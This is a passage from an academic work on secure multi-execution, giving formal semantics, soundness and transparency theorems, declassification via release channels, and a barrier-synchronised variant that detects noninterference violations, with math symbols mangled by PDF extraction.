S ′(`′) = if ` v `′ ∧ (ā, `′) |= S(`′) c?v−−→ (ā′, s′) then (ā′, s′) else S(`′)
ā |= (σ, S) c?v−−→ (σ′, S ′)

i

σ
`−→ σ′ (ā, `) |= S(`) c!v`−−→ (ā`, s) S(γ(c)) = (āγ, )

if ∃ā′, vγ � ā.c!v` =?,`,•,!,c ā
′.c!vγ ≤!,c āγ then v = vγ else v = v`

ā |= (σ, S) c!v−→ (σ′, S [` 7→ (ā`, s)])
o

(b) SME `-chooser

Figure 18: Semantics of SME
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the scheduler, and S contains the state of the `-runs. S maps each security level `
to a pair (ā`, s`), where ā` is the list of actions which the `-run has performed so
far, and s` is the current state of the `-run. For a given σ, the SME of s, SME(σ, s),
is defined as SME(σ, s) = (ε, σ, λ` → (ε, s))). The derivation of any SME state
transition begins with the rule

ā |= (σ, S) a−→ (σ′, S ′)
(ā, σ, S) a−→ (ā.a, σ′, S ′)

log

The purpose of (log) is to keep track of the interaction ā which SME(σ, s) has had
with the environment. Note that

SME(σ, s) ā−→ (ā′, σ′, s′) ⇐⇒ ā = ā′,

so we sometimes omit the trace label on a SME transition. We put ā on the
left side of “|=” in the next layer of the semantics, Figure 18b, to show that
this layer only reads ā. The rules at this layer are mainly responsible for, by
use of σ, deciding which `-run takes a step next, using the rules in the third
layer, Figure 18a. This layer is responsible for hiding from the previous layer
all the different ways which an `-run can take a step without interacting with the
environment ((dead), (silence), (old-o), (old-i)), and signaling to the previous layer
when the `-run requires I/O with the environment to proceed ((new-o), (new-i)).
Each rule at this level appends to the `-run trace the action the `-run performed
during the step (not necessarily the same action as the one performed by the SME
state). We equate a terminated `-run with an infinitely silent one, as indicated
by (dead) (not making terminated runs unschedulable excludes several timing
attacks described by Kashyap et al. [83]). SME stores output on channels with
presence 6= ` without forwarding it to the environment, as per (old-o). (old-i)
covers multiple scenarios for not inputting from the environment on c. When
δ(c) 6v `, input d. When δ(c) v `, this rule is only applicable if the `-run has not
already read all the c-inputs which the δ(c)-run has read. When γ(c) v `, input
the same value received from the environment when the δ(c)-run performed the
corresp. input action. Otherwise, input d instead. (new-i) indicates that the `-run
requires input to proceed, and for the value v received from the previous layer,
indicated on the transition label, instead feeds d to the `-run iff v 6= ? ∧ γ(c) 6v `.
The previous layer has two rules for this scenario. When δ(c) @ `, then the `-
run blocks until the δ(c)-run reads on c, by (block-i). When δ(c) reads on c, the
input is fed to everyw δ(c)-run blocking on c, by (i). (new-o) notifies the previous
layer that the `-run has a fresh output for the environment. Rule (o) in the previous
layer handles this scenario, checking if the γ(c)-run has already provided content
for this output, and if so, replaces the value in the output with the value in the
corresp. γ(c)-run c-output.
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When γ(c) 6= δ(c), the output value is replaced by d iff γ(c) has not yet
produced the corresponding value. Having the δ(c)-run instead wait for the γ(c)-
run to reach the corresp. c-output, or giving responsibility of producing the c-
output to the γ(c)-run, can introduce a leak:
in M h; l := 0; while l != h {l := l+1}; out M h

Here the time it takes for the H-run to produce the M-output, and whether H
produces the output at all, depends on h.

While Figure 18b says that SME controls each step of each `-run, in practice
the responsibility of SME can be distributed to the `-runs as follows. Each `-run is
made responsible for environment I/O on all c ∈ δ−1(`), since SME(s) performs
I/O iff the `-run of s performs it. Each `-run makes input on each c ∈ δ−1(`) and
output on each c ∈ γ−1(`) available in a shared resource (e.g. memory) s.t. A `-
runs can obtain a copy of the input when they need it, and an δ(c)-run can obtain
the actual value to output on c. Each `-run processes (after sharing, when ` = δ(c))
d in place of the inputted value when δ(c) v ` @ γ(c), and outputs d when the
γ(c)-run is yet to share the value to put into the output when δ(c) @ γ(c) = `. This
approach is taken in a SME benchmark by Devriese and Piessens [54]. Forcing
`-runs to diverge and recording full traces can be avoided [83, 54]. This approach
is sound as long as the `-run threads cannot influence the scheduler.

While s is input-blocking, SME(s) is not; varied presence of input on c ∈
γ−1(`) cannot impede on progress or timing of `′-runs where ` 6v `′. This effect
is achieved by c?? actions; if SME(s) is in a state where an `-run wants input on
c, and I does not have one ready (yet), the `-run can do a c??-action, allowing
SME(s) to pass control to another `′-run. In contrast, the formalization (as
opposed to the benchmark implementation) of SME by Devriese and Piessens [54]
is input blocking; if an `-run is scheduled before a `′-run with ` 6v `′, the
nonpresence of input on c ∈ δ−1(`) can interfere with the `′-run. This hinders
sound scheduling of runs for arbitrary nonlinear lattices.

5.4.1 Soundness

SME enforces the following property: Under observably equivalent environments,
the respective sets of traces produced under any of them are observably equivalent.

Definition 8. s is timing-sensitive, progress sensitive noninterfering (s ∈ TSNI)
iff ∀`, I1, I2 � I1 '` I2 =⇒
∀ā1 � I1 |= s

ā1−→ =⇒
∃ā2 � I2 |= s

ā2−→ ∧ ā1 '` ā2.

Theorem 9. ∀σ, s � SME(σ, s) ∈ TSNI.
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In contrast to Devriese and Piessens [54], who prove soundness for a
cooperative scheduler for linear lattices, and to Kashyap et al. [83], who prove
soundness for two round-robin schedulers (the “Multiplex-2” and “Lattice-based”
approaches), we prove a more general result: soundness for arbitrary deterministic
and fair schedulers. While Devriese and Piessens claim their scheduler, called
selectlowprio, which executes the `-runs to completion in increasing order
by v, works for any linearized lattice, Kashyap et al. have shown that
selectlowprio introduces a timing dependency between `-runs at incomparable
levels in nonlinear lattices. For instance, with L = LAB

def={H, A, B, L} and v being
the reflexive transitive closure of {(L, A), (L, B), (A, H), (B, H)}, with linearization
L v A v B v H and d = 0, the time it takes for BB!1 to occur is, under
selectlowprio, a function of the input on AA.
in AA a; while a != 0 { a := |a| - 1 }; out BB 1

In the presence of nontotal environments, the situation is even worse; here the
presence of input on AA leaks to BB.
in AA a; out BB 1

While swapping A and B in the linearization resolves the issue in this program, the
following program has no linearization of L for which selectlowprio schedules
soundly.
in AA a ; out BB 1 ; in BB b ; out AA 1

We show in Appendix 5.8.1 that the assumption of termination is problematic
when program input arrives arbitrarily in time.

The proof of Theorem 9 is a corollary of the following lemma, which can be
seen by removing the last two elements in the conjunction in the conclusion of
the lemma, and comparing the result with Definition 8. The details of this, and
all other proofs, are in the full version of this paper [122]. We write S1 =` S2 iff
∀`′ v ` � S1(`′) = S2(`′).

Lemma 10. ∀s, σ, `, I1, I2 � I1 '` I2 =⇒
∀ā1, σ1, S1 � I1 |= SME(σ, s) −→ (ā1, σ1, S1) =⇒
∃ā2, σ2, S2 � I2 |= SME(σ, s) −→ (ā2, σ2, S2) ∧
ā1 =` ā2 ∧ S1 =` S2 ∧ σ1 = σ2

Such a strong correspondence is achievable since, for each `′ v `, the `′-run
of s, in I1 |= SME(σ, s) and I2 |= SME(σ, s), behaves as I�`′ |= s, where

(I�`′ )(c) =
{

(c?d)∞ , if δ(c) 6v `′
I(c)�` , otherwise.

(While for δ(c) v `′, the number of c?? preceding a c?v of an `′-run in
Ij |= SME(σ, s) compared to I �`′ |= s can differ due to σ, this number is the
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same in I1 |= SME(σ, s) compared to I2 |= SME(σ, s). Since s is input-blocking,
all three are in the same state at the time of the non-blank read, and consume the
same input, by I �`′ ). Thus, since I1 |= SME(σ, s) and I2 |= SME(σ, s) are both
run under the same σ, after any number of transitions, the `′-runs will in both runs
have performed the same number of actions, consumed the same inputs, produced
the same outputs, and be in the same state.

5.4.2 Transparency

We show that SME does not adversely modify the I/O behavior of a program for
which changes in `-unobservable input does not affect the `-observable parts of
the I/O behavior of the program. We obtain this class of programs by weakening
TSNI to a timing-insensitive variant by replacing, in Definition 11, ’'`’ with ’≈`’.

Definition 11. s is timing-insensitive, progress sensitive noninterfering (s ∈
PSNI) iff ∀`, I1, I2 � I1 ≈` I2 =⇒
∀ā1 � I1 |= s

ā1−→ =⇒
∃ā2 � I2 |= s

ā2−→ ∧ā1 ≈` ā2.

Let s ∈ PSNI, `, I and σ be arbitrary. In s and SME(σ, s), the interaction on
`-presence channels is `-equivalent.

Theorem 12. ∀s ∈ PSNI, σ, I, ā�

a) I |= s
ā−→ =⇒

∃ā′ � I |= SME(σ, s) ā′−→ ∧∀` � ā ≤?,`,δ−1(`),• ā
′

b) I |= SME(σ, s) ā−→ =⇒

∃ā′ � I |= s
ā′−→ ∧∀` � ā ≤?,`,δ−1(`),• ā

′

When all `-presence outputs also have `-content, the `-presence interaction
in s and SME(s) is the same. This is an improvement on Theorem 2 in [54]
which establishes the a)-part of Theorem 12 for the interaction on each channel
(as opposed to, for each `, the interaction on all channels with presence level `),
and only for terminating runs of termination-sensitive s. Furthermore, under LAB,
selectlowprio yields a nontransparent run for the following program, as no BB!1
occurs if no input on AA arrives.
out BB 1; in AA a

However, when s outputs on c with γ(c) A δ(c), SME(σ, s) might replace the
value in its corresponding output with d. Thus, the timing behavior of s ∈ PSNI
can impede the ability of a σ to soundly schedule runs in SME(σ, s) such that
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the γ(c)-run reaches the output before the δ(c)-run does irrespective of previously
inputted values. In TSNI programs, however, all `-runs for which δ(c) v ` will
reach an output on c after the same number of reduction steps. This includes the
γ(c)-run, since δ(c) v γ(c). Thus, if we ensure that any `-run never “outruns”
its parent-runs, we can ensure that the content-provider of an output reaches the
output before its presence-provider does. It is, however, not sufficient to require,
for instance, that at any given point, H has been scheduled more often than L, as
the H-run can waste its turns blocking on channels with presence level v H. The
following predicate, when invoked as φ(`H, `L, 0, ¯̀), yields 1 when `H, a parent of
`L, has been scheduled in this manner in ¯̀, and 0 otherwise.

φ( , , , ε ) = 1
φ(`H, `L, bHseen, `.¯̀) | ` = `H = φ(`H, `L, 1, ¯̀)

| ` = `L ∧ bHseen = φ(`H, `L, 0, ¯̀)
| ` = `L ∧ ¬bHseen = 0
| otherwise = φ(`H, `L, bHseen, ¯̀)

Definition 13. σ is a high-lead scheduler (σ ∈ highlead) if ∀¯̀ � σ
¯̀
−→ =⇒

∀`L, `H � `L @ `H =⇒ φ(`H, `L, 0, ¯̀).

An example of a high-lead scheduler is the round-robin scheduler which
schedules levels in (increasing) order of maximal descendancy from the
top element in the security lattice (ties broken arbitrarily). For instance,
for L = {H, A, B, C, L} and v being the reflexive transitive closure of
{(L, C), (L, A), (C, B), (A, H), (B, H)}, σ which infinitely repeats H.B.A.C.L or
H.A.B.C.L is a high-lead scheduler. It is for these schedulers that, in s ∈ TSNI
and SME(σ, s), the interaction on `-presence channels is the same, for all `.

Theorem 14. ∀s ∈ TSNI, σ ∈ highlead, I, ā�

a) I |= s
ā−→ =⇒

∃ā′ � I |= SME(σ, s) ā′−→ ∧∀` � ā ≤?,δ−1(`),• ā
′

b) I |= SME(σ, s) ā−→ =⇒

∃ā′ � I |= s
ā′−→ ∧∀` � ā ≤?,δ−1(`),• ā

′

Thus, if SME puts a d in an M output when run using σ ∈ highlead , then this
must have been done to prevent a (timing or progress) leak – a desired effect.
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Figure 19: SME with declassification

5.5 Declassification
The challenge for declassification in SME is limited communication of informa-
tion from the high to the low run. This is non-trivial as SME is originally designed
to prevent any such leaks. This section demonstrates how information can be in-
tentionally released in SME without violating the guarantees SME was originally
designed to provide.

It turns out that the communication model from Section 5.4 is an excellent fit
for secure communication between the runs at different levels. A key desired
property is to prevent the occurrence of declassification events from leaking
information about the context while allowing intended release of the value to be
declassified. This is a convenient match with our model that distinguishes the
security levels of presence and content. The core idea is depicted in Figure 19.
Declassification essentially corresponds to routing an M output from the high run
into the low run.

A release policy ρ is a subset of A. It indicates which information releases
are allowed. When ρ = ∅, then ρ indicates a classical no-downward-flows policy,
that is, one with no information release. When (`, `′) ∈ ρ, then ρ permits the
downward flow from ` to `′. We write `0 ρ ` iff

∃`0, . . . , `n � `n v ` ∧ ∀0 ≤ i < n � (`i, `i+1) ∈ (v ∪ ρ).

Definition 15. I1 and I2 are ρ-`-equivalent (I1 'ρ` I2) iff
I1 '` I2 ∧ ∀`′ � `′ ρ ` =⇒ I1 '`′ I2.

Definition 16. s is ρ-releasing TSNI (s ∈ TSNIρ) iff ∀`, I1, I2 � I1 'ρ` I2 =⇒
∀ā1 � I1 |= s

ā1−→ =⇒
∃ā2 � I2 |= s

ā2−→ ∧ā1 '` ā2.

This noninterference policy only states what can be released, without con-
straining where during control flow information release is permitted. A common
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programming language construct for aiding programmers in specifying informa-
tion release is declassify(e, `), which declassifies the value of expression e (in
the state in which this command is executed) to level `. For instance, only b is
intended to leak to L in the below program pd1 under lattice LAB with ρ = {(B, L)},
but it turns out a leaks as well; a TSNIρ-insecurity.
in AL a; in BL b ; // pd1
if a { l := declassify(b, L) }
out L l

The only interface SME has to its `-runs are action labels. To transfer the
right value from the H-run to be declassified by the L-run, we need to enable the
environment (in our case SME) to obtain the value which an swishes to declassify
from an action label, and (optionally) subsequently replace it. To achieve this, we
introduce release channels. Let R ⊆ C be the release channels, ranged by r . Let
C = C \ R be the communication channels, ranged by c. Let % : L2 → R be
bijective. % associates a release channel %(`, `′) with each kind of information
release (`, `′) (not all of which are permitted by ρ). The following inference
rule illustrates how the semantics of declassification, in a simple imperative
language with I/O, can be given such that the environment can (optionally) have
a program declassify a completely different value (through “in r”) than the value
the program announced it would declassify (through “out r v”). This declassify
construct is more fine-grained than the standard one as it specifies both the from
level ` and the to level `′ of the declassification operation.

m |= e = v %(`, `′) = r (m, out r v) r !v−→ (m′, skip)
(m,x := declassify(e, `→ `′)) r !v−→ (m′, x := in r)

To restore the typical semantics of declassification (which does not make
declassification an effect) in an s, we simply place s in a wrapper which makes
communication on release channels a feedback, as per F(s), given below. F(s)
only interacts with its environment on communication channels.

s
r !v−→ s′

F(s) •−→ F(r?v, s′)
s

r?v−−→ s′

F(r?v, s) •−→ F(s′)
s

a−→ s′ @r , v � a = r !v
F(s) a−→ F(s′)

This wrapper only has the desired effect if s communicates on release channels in
the expected manner, by always first performing an output on r , and subsequently
performing an input on r . We define the class of such s now.

Definition 17. An LTSIO λ = (S, L,−→) is an LTSIO with release (LTSR
IO) iff

∀s ∈ S, r , v, ā� (s ā.r !v−−→ =⇒ ∃v′ � s ā.r !v.r?v′−−−−−→)
∧(s ā.r?v−−−→ =⇒ ∃v′, ā′ � ā = ā′.r !v′)
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s
r !v−→ s′

(ā, `) |= (ā`, s) •−→ (ā`.r !v, s)
r-o

s
r?v−−→ s′

(ā, `) |= (ā`, s) r?v−−→ (ā`.r?v, s)
r-i

(a) SMER `-stepper; add Figure 18a rules w/ occurrences of c replaced with c.

releaseok(r , `) = (%−1(r) = (`′, ) ∈ ρ ∧ `′ ρ ` ∧ `′ 6v `).
σ

`−→ σ′ (ā, `) |= S(`) r?v−−→ (ā`.r !v.r?v, s) ¬releaseok(r , `)
ā |= (σ, S) •−→ (σ′, S [` 7→ (ā`.r !v.r?v, s)])

r-not

σ
`−→ σ′ (ā, `) |= S(`) r?d−−→ (ā`.r?d, s) releaseok(r , `)
S(γ(r)) = (āγ, ) |āγ�!,r ,• | < |ā`�!,r ,• |

ā |= (σ, S) •−→ (σ′, S [` 7→ (ā`.r?d, s)])
r-d

σ
`−→ σ′ (ā, `) |= S(`) r?v−−→ (ā`.r !v`.r?v, s) releaseok(r , `)
S(γ(r)) = (āγ.r !vγ. , ) |āγ�!,r ,• | = |ā`�!,r ,• |

if ( ∃`d, ād � S(`d) = (ād.r ! .r?d. , )
∧|āγ�!,r ,• | = |ād�!,r ,• | ∧ releaseok(r , `d) )

then v = d else v = vγ

ā |= (σ, S) •−→ (σ′, S [` 7→ (ā`.r !v`.r?v, s)])
r

(b) SMER `-chooser; add Figure 18b rules w/ occurrences of c replaced with c.

Figure 20: Semantics of SMER

λ is an LTSIO without release (LTSC
IO) iff

∀s ∈ S � @r , ā, v � s ā.r !v−−→ ∨s ā.r?v−−−→.
We write s ∈ LTSR

IO (resp. s ∈ LTSR
IO) iff s is a state in some LTSR

IO (resp.
LTSR

IO).

We consider only LTSR
IO and LTSC

IO s for the remainder of this section; an
s which is neither interacts on some r in an undesired way. We require that
∀r � δ(r) = γ(r) ∧ ∃`′ � %(γ(r), `′) = r . Read this as “r releases information
from γ(r) to `′.” The information release which r is responsible for is permitted
by the release policy, iff, (γ(r), `′) ∈ ρ.

The semantics of SME extended with release channels (SMER) is given in
Figure 20. It is parameterized by the release policy ρ. By (r-not), any release
action which is not permitted by ρ is a feedback. By (r-d), when a target `-
run of a release reaches a release before the source γ(r)-run does, d is released
instead (same justification as for the treatment of M-output in SME). By (r), if a
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valid release receiver has already received d for this release, so does the `-run.
Otherwise γ(r) has already done the release, so the `-run receives the right value.

5.5.1 Soundness

SMER is sound with regards to any release policy.

Theorem 18. ∀s∈ LTSR
IO, σ, ρ �SMER(σ, s, ρ)∈TSNIρ.

The proof of this theorem follows a similar pattern as the proof of Theorem 9,
utilizing a lemma which is near-identical to Lemma 10.

SMER does not introduce an information release into a program which does
not already release information. The following statements correspond to the
conservativeness principle of declassification [136] that stipulates that the security
condition for systems with no information release is equivalent to baseline
noninterference.

Theorem 19. ∀s ∈ LTSR
IO � s ∈ TSNI =⇒ ∀ρ, σ�

SMER(σ, s, ρ) ∈ TSNI.

When no information release is permitted, Definitions 16 and 8 coincide
(I1 '∅` I2 becomes I1 '` I2).

Corollary 20. TSNI∅ = TSNI.

SMER prevents all downward flows in all swhich do not announce information
release through release actions. This is a corollary of Theorem 9, since no step of
in a trace from s is derived using a rule from Figure 20.

Corollary 21. ∀s∈ LTSC
IO, σ, ρ � SMER(ρ, σ, s)∈TSNI.

5.5.2 Transparency

Information release can impede on transparency, even in secure programs. By
Corollary 21, when s releases information w/o announcing the release on a release
channel, the corresponding control in SMER(ρ, s) never receives the declassified
value. With ρ = {(H,L)}, consider this s.
in M h; out L h

We have s ∈ TSNIρ. However, the L-run in SMER(ρ, s) never gets the H-value
in the HL-input, and thus, SMER(ρ, s) cannot be transparent. A similar problem
arises when the L-run reaches an information release from H before the H-run
does; then the L-run instead receives d. This occurs in the following program pd2
if L is scheduled too often before H.
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in M h ; // pd2
l := declassify(h, H->L) ;
out L l

It turns out that these are the only inhibitors for transparency. We define the
class of programs which only release information through release channels. The
definition makes use of a wrapper which binds release channels internally.

s
r !v−→ s′

B(ā, I, s) •−→ B(ā.r !v, I, s′)
s

r?v−−→ s′ ā�?,r≤ Ir

B(ā, I, s) •−→ B(ā.r?v, I, s′)
s

a−→ s′ @r , v � a ∈ {r?v, r !v}
B(ā, I, s) a−→ B(ā.a, I, s′)

Definition 22. s is TSNI modulo release (s ∈ TSNImodR) iff
∀I � (∀r � @ī � ī.r?? ≤ Ir) =⇒ B(I, s) ∈ TSNI.

Let ρ(s) = {%−1(r) | ∃ā, v�s r?v.ā−−−→ ∨s r !v.ā−−→} be the releases of s. If ρ(s) ⊆ ρ,
then SMER will not prevent any declassifications; this enables transparency.

Theorem 23. ∀s∈ (LTSR
IO ∩ TSNImodR),σ ∈ highlead,I,ā�

a) I |= F(s) ā−→ =⇒

∃ā′ � I |= SMER(ρ(s), σ, s) ā′−→ ∧∀` � ā ≤?,δ−1(`),• ā
′

b) I |= SMER(ρ(s), σ, s) ā−→ =⇒

∃ā′ � I |= F(s) ā′−→ ∧∀` � ā ≤?,δ−1(`),• ā
′

Program pd2 satisfies TSNImodR. It is easy to see that if σ ∈ highlead
and ρ = {(H,L)}, then SMER(ρ, σ, s) routes the value announced by the H-
run (which is the value received on M) to the L-run in the desired way, thus
yielding a transparent run. When ρ = ∅, SMER(ρ, σ, s) stops the forbidden
declassification, retaining soundness. In program pd1, the SMER(ρ, σ, s) allows
the declassification but prevents the implicit flow of a at the same time! This
is a fruitful byproduct of the separation of computation into `-runs; the B-run
never obtains A-information, and thus cannot leak it (not even implicitly). At
last, SMER(ρ, σ, s), with ρ = {(H,L)}, allows the announced declassification, but
stops the explicit flow, in the following program. This indicates that SMER not
only enforces what is released, but also where in the program release takes place.
We discuss this further in Section 5.8.
in M h1 ; in M h2 ;
l1 := declassify(h1, H->L) ;
l2 := h2 ;
out L l1 ; out L l2
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Figure 21: SME by barrier synchronization

5.6 Full transparency
This section shows how to achieve fully transparency for secure multi-execution
by barrier synchronization. Full transparency, in contrast to per-channel or
per-level transparency, guarantees that our SME enforcement preserves the I/O
behavior of secure programs, including the ordering of I/O messages. Thanks to
such a strong property, we are able to deploy SME to detect attacks.

The core idea is pictorially summarized in Figure 21. In contrast to Figure 16b,
we are not ignoring the low output produced by the high run. Instead, we match
it with the low output produced by the low run. If the program is secure, this
approach guarantees that there may not be any deviation in this matching. Thus,
if there is a deviation, it must be due to the insecurity of the original program.
From this deviation, we can construct a counterexample against noninterference.

We formalize our approach for a two-level lattice in Figure 22. While nothing
inhibits the H-run from performing non-L-presence actions (by (H-a) and (•)), a
barrier forms when the H-run reaches a L-presence action (by (H-block)). The
H-run then only proceeds once the L-run reaches a L-presence action. When the
L-run reaches a L-presence action, and the H-run is yet to perform the corresp.
action, a barrier forms. The L-run then only proceeds once the H-run has done
one of two things. 1) reached an L-observable action before advancing t steps
beyond the L-run (by (L-a)), or 2) not (by (L-timeout)). In 1), if the H-run reached
a L-observably different action, we note an attack in ᾱ1. In 2), we note a timeout
in ᾱ2 (which might be an attack). Input streams are constructed from traces using
ι, defined as

(ι(ā))c = (ā�?,c ).(c??)∞.

Definition 24. An attack α is a 4-tuple (`, I1, I2, ā1) where I1 ≈` I2 and I1 |= ā1.
α is an attack on s iff

1) I1 |= s
ā1−→, and
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s
a−→ s′ ā`.a ≤?,`,• ā

if a = c?v then if γ(c) 6v ` then v = d else v 6= ?

(ā, `) |= (ā`, s) •−→ (ā`.a, s′)
old

ā′.a′ ≤ ā δ(a′) = L ā′ ≈L āH ∀a � s a−→ =⇒ a 6=L a
′

(ā,H) |= (āH, s) •−→ (āH.•, s′)
conflict

s
c!v`−−→ s′ ā` =?,`,• ā δ(c) v `

if γ(c) v ` then v = v` else v = d

(ā, `) |= (ā`, s) c!v−→ (ā`.c!v`, s′)
new-o

s
c?v`−−→ s′ ā` =?,`,• ā δ(c) v `

if γ(c) v ` ∨ v = ? then v` = v else v` = d

(ā, `) |= (ā`, s) c?v−−→ (ā`.c?v`, s′)
new-i

(a) SMET `-stepper; add (dead) and (silence) from Figure 18a

(•) as in Figure 18b (with ᾱ1, ᾱ2 equal in states before & after •−→).
σ

H−→ σ′ (ā,H) |= S(H) a−→ (āH, sH) δ(a) = H

ā |= (σ, S , ᾱ1, ᾱ2) a−→ (σ′, S [` 7→ (āH, sH)], ᾱ1, ᾱ2)
H-a

σ
H−→ σ′ (ā,H) |= S(H) a−→ δ(a) = L

ā |= (σ, S , ᾱ1, ᾱ2) a−→ (σ′, S , ᾱ1, ᾱ2)
H-block

σ
L−→ σ′ (ā,L) |= S(L) aL−→ (āL, ) δ(aL) = L

S(H) = (āH, ) |āL|+ t ≥ |āH| (ā,H) |= S(H) aH−→ δ(aH) 6= L

ā |= (σ, S , ᾱ1, ᾱ2) •−→ (σ′, S , ᾱ1, ᾱ2)
L-wait

σ
L−→ σ′ (ā,L) |= S(L) aL−→ (āL, sL) δ(aL) = L

S(H) = (āH, ) |āL|+ t ≥ |āH| (ā,H) |= S(H) aH−→ δ(aH) = L
if (ā,H) |= S(H) aL−→ then a = aL ∧ ᾱ′1 = ᾱ
else if aL =L aH then a = aH ∧ ᾱ′1 = ᾱ
else a = aL ∧ ᾱ′1 = ᾱ1.(L, ι(ā.aH), ι(āL), āL)

ā |= (σ, S , ᾱ1, ᾱ2) a−→ (σ′, S [L 7→ (āL, sL)], ᾱ′1, ᾱ2)
L-a

σ
L−→ σ′ (ā,L) |= S(L) aL−→ (āL, sL) δ(aL) = L

S(H) = (āH, ) |āL|+ t < |āH|
ā |= (σ, S , ᾱ1, ᾱ2) aL−→ (σ′, S [L 7→ (āL, sL)], ᾱ1, ᾱ2.(L, ι(ā.aL), ι(āL), āL))

L-timeout

(b) SMET `-chooser

Figure 22: Semantics of SMET
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2) ∀ā2 � I2 |= s
ā2−→ =⇒ ā2 6≈` ā1.

5.6.1 Soundness

SMET enforces a timing-insensitive noninterference notion. This is easily seen
by observing that the traces produced by I |= SMET(s) and I �L |= s are ≈L-
equivalent.

Theorem 25. ∀s, σ � SMET(σ, s) ∈ PSNI.

By allowing the L-run to wait up to t steps for the H-run to match an L-
observable, SMET(s) introduces a timing leak into s, and thus does not enforce
TSNI. We note however that SMET(σ, s) can be wrapped in a black-box timing
leak mitigator to alleviate this weakening of the soundness guarantee [10].

At the point where the H-run deviates from the L-run, the H-run is “frozen”
(to avoid leaks), becoming semantically equivalent to a program producing •
infinitely, by (conflict). A more practical approach would be to instead have the
H-run behave like it would under SME(s) henceforth. We hypothesize (but do not
prove) that this modification of SMET yields a sound enforcement.

5.6.2 Transparency

Modulo •, SMET(s) and s produce the same sequence of I/O (up to an attack or
timeout in SMET(s)). In contrast to e.g. Devriese and Piessens [54], who swap
the order of outputs in the following two programs (linearization B v A),
out H 1 ; out L 1

out AA 1 ; out BB 1

the I/O correspondence is full. Furthermore, this result guarantees transparency
even when s is insecure.

Theorem 26. ∀s, σ, I, ā�

a) I |= s
ā−→ =⇒

@ā′ � I |= SMET(σ, s) ā′−→ ( , , ε, ε)
∧ |ā′�?,• | ≤ |ā′�?,• | ∧ ā′ 6≤?,• ā

b) I |= SMET(σ, s) ā−→ ( , , ε, ε) =⇒

∃ā′ � I |= s
ā′−→ ∧ ā ≈ ā′

It is easy to see that if s ∈ TSNI, then SMET never generates attacks, and
thus, s and SMET(σ, s) have the same (that is, ≈L-equivalent) I/O behavior.
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5.6.3 Attacks

Any match deviation found by SMET(s) (before a timeout), forms the basis of a
concrete proof that s 6∈ PSNI.

Theorem 27. ∀s, σ, I � I |= SMET(σ, s) −→ ( , , α, ε) =⇒ α is an L-attack on s.

If a timeout (ᾱ2) is discovered before the discrepancy (ᾱ1), then the mismatch
might be consequence of a timeout, which is not necessarily the basis of a leak in
s.

We end this section with two PSNI-insecure programs, and explain attacks
which SMET finds on them. Consider
in M h ; out L h

With d = 0, t = 100 and initial input 1, SMET(s) generates (L, I1, I2,M?d.L!0) –
an attack on s in ᾱ1, where I1(M) = M?d.(M??)∞, I2(M) = M?1.(M??)∞. Now
consider
in M h ; while h != 0 { h := h - 1 } ; out L 0

With d = 0, t = 100 and initial input −1, SMET(s) generates
(L, I1, I2,M?d.•.L!0) – an attack on s in ᾱ2, where I1(M) = M?d.(M??)∞,
I2(M) = M? − 1.(M??)∞. With initial input 5, no attack is generated. With
initial input 500, however, an attack is generated which is not an attack on s (it
just took “too long” for the H-run to match L!0).

5.7 Related work
Referring the reader for general overviews on language-based information-flow
security [132], on dynamic information-flow control [67], and on declassifica-
tion [136], we focus on related work on multi-execution.

Li and Zdancewic [90] observe that “a noninterfering program f(h, l) can
usually be factored to a ‘high security’ part fH(h, l) and a ‘low security part’
fL(l) that does not use any of the high-level inputs h. As a result, noninterference
can be proved by transforming the program into a special form that does not
depend on the high-level input.” They propose relaxed noninterference that allows
information release through a set of prescribed syntactic expressions. This focus
is on enforcing relaxed noninterference statically, by a security type system.

Russo et al. [127] sketch the idea of running multiple runs of a program, where
each run corresponds to the computation of information at a security level. They
discuss that by running the public computation ahead of the secret run, certain
classes of timing attacks can be prevented.

Capizzi et al. [33] consider enforcement of secure information flow in the
setting of an operating system. The enforcement is based on shadow executions
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as operating system processes for different security levels. They report on an
implementation and an experimental study with benchmarks.

As discussed earlier, Devriese and Piessens [54] develop a general treatment
of secure multi-execution at the application level and establish soundness and
precision under the assumption of total environments (there is always new input),
linear lattices and low priority scheduling.

Bielova et al. [24] investigate multi-execution in a reactive setting. Their
model multi-executes Featherweight Firefox [30], a formalization of a web
browser as a reactive system. The environments are not necessarily total, but
the security guarantee is weaker (than Devriese and Piessens’ [54]): termination-
insensitive noninterference. The I/O model targets the browser setting, with
handlers under cooperative scheduling. The full version [25] contains an informal
discussion of what the authors call sub-input-event security policies, which
corresponds to more flexible policies on input events (flexible policies on output
events are not considered). These policies are defined by projections that describe
how much is visible at each level. This mechanism is however not formalized.
A formalization would require reasoning about policy consistency: for example,
projections for less restrictive levels should not reveal more than projections for
more restrictive levels.

Kashyap et al. [83] show that the low-priority scheduling might exhibit timing
leaks for non-linear security lattices, and present several sound schedulers. We
show (Appendix 5.8.1) that in the presence of handlers, it is not necessary for the
lattice to be non-linear to produce attacks on the low-priority scheduler. Timing
leaks can freely occur in linear lattices, including the simple low-high lattice.

Jaskelioff and Russo [78] implement a monadic library for secure multi-
execution in Haskell. Austin and Flanagan [13] introduce faceted values to
simulate secure multi-execution by execution on enriched values. Faceted
values can be projected to the different security levels. The projection theorem
assures that a computation over faceted values faithfully simulates non-faceted
computations. They show that faceted values guarantee termination-insensitive
noninterference. Faceted values provide a viable alternative for an efficient
implementation of our technique. Austin and Flanagan also show how to relax
noninterference by facet declassification, based on robust declassification [159,
109]. Robust declassification operates on both confidentiality and integrity labels,
requiring both data to be declassified and code that does the declassification to
be trusted. This leads to the introduction of integrity labels to model trust and
integrity checks that the declassification operation is not influenced by untrusted
data. This corresponds to the who dimension of declassification [136]. Compared
to this approach, our declassification focuses on the what dimension, specifying
what source and sinks are affected We are able to capitalize on what secure multi-
execution is best at: built-in security against implicit flows. No matter where in
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the code declassification occurs, it will not leak information about the context.
There is no need to track the integrity of the code in our model.

Barthe et al. [21] present a “whitebox” approach to secure multi-execution.
They devise a transformation that guarantees noninterference via secure multi-
execution for programs in a language with communication and dynamic code
evaluation primitives

De Groef et al. [50] implement secure multi-execution as an extension of the
Firefox browser and report on experiments with browsing the web. Compared to
the work by Bielova et al. [24], they multi-execute the actual scripts in web pages
rather than the entire browser. The main focus of the experiments is to confirm
that the enforcement does not modify the behavior of secure pages in the presence
of simple policies.

Compared to the work above, this paper enriches secure multi-execution with
the following features: (i) channels with distinct presence and content security
levels, (ii) the what dimension of declassification for secure multi-execution, (iii)
full transparency results that preserve the order of messages, and (iv) show how
secure multi-execution can be used to detect attacks. To the best of our knowledge,
none of these features have been previously explored in the context of secure
multi-execution.

This paper stands on the ground laid by our previous work [118] on the
